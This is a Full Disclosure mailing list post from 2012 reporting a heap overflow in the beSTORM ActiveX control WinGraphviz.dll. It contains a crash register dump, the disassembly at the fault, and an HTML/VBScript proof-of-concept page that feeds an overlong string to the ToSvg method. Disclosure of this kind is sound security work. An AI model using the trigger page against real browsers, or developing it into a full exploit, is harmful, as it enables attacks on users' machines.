Full Disclosure mailing list archives

beSTORM ActiveX (WinGraphviz.dll) Remote Heap Overflow

From: kaveh ghaemmaghami <kavehghaemmaghami () googlemail com>
Date: Sun, 15 Jul 2012 13:54:20 -0700

Exploit Title: beSTORM ActiveX (WinGraphviz.dll) Remote Heap Overflow PoC
Date: July 15, 2012
Author: coolkaveh
coolkaveh () rocketmail com
Https://twitter.com/coolkaveh
Vendor Homepage: http://www.beyondsecurity.com/
Version: 3.5.6
Tested on: windows 7 SP1
Exploiting the Exploiters
What kind of crappy fuzzer is that ?
==========================================================================
Registers:
--------------------------------------------------------------------------
EIP 01637FFB
EAX 41414141
EBX 01630000 -> 00905A4D -> Asc: MZMZ
ECX 016FF838 -> Asc: AAAAAAAAAAAAAAAAAAAA@AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDX 41414141
EDI 00000000
ESI 00000000
EBP 0013FD24 -> 0013FD34
ESP 0013FD10 -> 0013FD34


Block Disassembly:
--------------------------------------------------------------------------
1637FE9 CMP DWORD PTR [EAX+10],0
1637FED JE SHORT 01638042
1637FEF MOV ECX,[EBP+8]
1637FF2 MOV EDX,[ECX+10]
1637FF5 MOV [EBP-4],EDX
1637FF8 MOV EAX,[EBP-4]
1637FFB CMP DWORD PTR [EAX],0     <--- CRASH
1637FFE JE SHORT 01638042
1638000 MOV ECX,[EBP-4]
1638003 CMP DWORD PTR [ECX+10],0
1638007 JE SHORT 0163801B
1638009 MOV EDX,[EBP-4]
163800C MOV EAX,[EDX+10]
163800F MOV ECX,[EBP-4]
1638012 MOV EDX,[ECX+10]


ArgDump:
----------------------------------------------------------------------------
EBP+8   016FF838 -> Asc: AAAAAAAAAAAAAAAAAAAA@AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP+12  016FF838 -> Asc: AAAAAAAAAAAAAAAAAAAA@AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

============================================================================
<html>
Test Exploit page
<object classid='clsid:684811FB-0523-420F-9E8F-A5452C65A19C'
id='fuzzer' ></object>
<script language='vbscript'>

arg1=String(2068, "A")

fuzzer.ToSvg arg1

</script>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

beSTORM ActiveX (WinGraphviz.dll) Remote Heap Overflow kaveh ghaemmaghami (Jul 16)